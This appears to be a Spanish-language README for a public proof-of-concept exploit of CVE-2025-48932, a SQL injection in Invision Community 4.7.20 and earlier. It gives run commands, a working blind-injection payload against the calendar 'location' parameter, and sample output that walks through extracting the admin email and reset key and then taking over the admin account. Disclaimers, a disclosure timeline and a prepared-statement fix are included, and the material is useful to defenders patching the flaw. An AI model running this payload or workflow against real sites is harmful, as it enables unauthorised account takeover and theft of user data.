
Un exploit de prueba de concepto que demuestra una vulnerabilidad de inyección SQL en Invision Community versiones <= 4.7.20.
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
CVE ID: CVE-2025-48932
Gravedad: Alta
Puntuación CVSS: Por determinar
Versiones afectadas: Invision Community 4.x anteriores a 4.7.21
La vulnerabilidad existe en el script /applications/calendar/modules/front/calendar/view.php. La entrada del usuario transmitida a través del parámetro de solicitud location en el método IPS\calendar\modules\front\calendar\view::search() no se sanea adecuadamente antes de utilizarse en consultas SQL.
Esto permite a atacantes remotos no autenticados:
Requisitos previos para la explotación:
Nota: Mientras que las vulnerabilidades de inyección SQL en Invision Community 4.x versiones < 4.7.18 podían conducir a la toma de control de la cuenta de administrador y a la ejecución remota de código (RCE) mediante el restablecimiento de la contraseña de administrador, la versión 4.7.18 introdujo una nueva clave de cifrado de seguridad en el mecanismo de restablecimiento de contraseña, lo que dificulta este vector de ataque.
Clonar el repositorio:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
Instalar las dependencias:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================
[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]
[!] Step 2: Manual action required!
Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...
[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...
==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================
Admin credentials:
Email: [email protected]
Password: Pwned1721234567
You can now login at: http://example.com/forum/index.php?/login/
El exploit funciona en cuatro pasos principales:
El script primero obtiene un token CSRF del sitio web objetivo, que es necesario para las solicitudes posteriores.
Mediante un algoritmo de búsqueda binaria, el exploit extrae datos de la base de datos carácter por carácter:
RLIKE con patrones de expresiones regulares para detectar condiciones verdaderas/falsasConsulta la tabla core_members para extraer la dirección de correo electrónico del administrador.
Punto de inyección:
location parameter → calendar/view.php → search() method
Ejemplo de payload:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
Técnica de explotación: Inyección SQL ciega basada en booleano mediante búsqueda binaria para una extracción de datos eficiente.
Acciones inmediatas:
Prácticas de codificación segura:
Ejemplo de código seguro:
// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| Fecha | Evento |
|---|---|
| 16 de mayo de 2025 | Proveedor notificado |
| 27 de mayo de 2025 | Versión 4.7.21 publicada |
Desarrollador:
Nota: Esta es una implementación independiente basada en información de vulnerabilidad divulgada públicamente (CVE-2025-48932)
Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE para obtener más detalles.
¡Las contribuciones son bienvenidas! No dude en enviar un Pull Request. Para cambios importantes, abra primero un issue para discutir lo que le gustaría cambiar.
Esta herramienta se distribuye bajo la Licencia MIT. Al utilizar este software, usted acepta:
Recuerde: El acceso no autorizado a sistemas informáticos es un delito en la mayoría de las jurisdicciones y puede acarrear graves consecuencias legales.
Si descubre una vulnerabilidad de seguridad, notifíquela de forma responsable al proveedor antes de hacerla pública.
| Argumento | Descripción | Requerido |
|---|
-u, --url | URL base de Invision Community objetivo | Sí |
-v, --verbose | Habilita la salida verbosa para depuración | No |
-h, --help | Muestra el mensaje de ayuda y sale | No |
| 28 de mayo de 2025 |
| Identificador CVE solicitado |
| 28 de mayo de 2025 | CVE-2025-48932 asignado |
| 23 de julio de 2025 | Divulgación pública |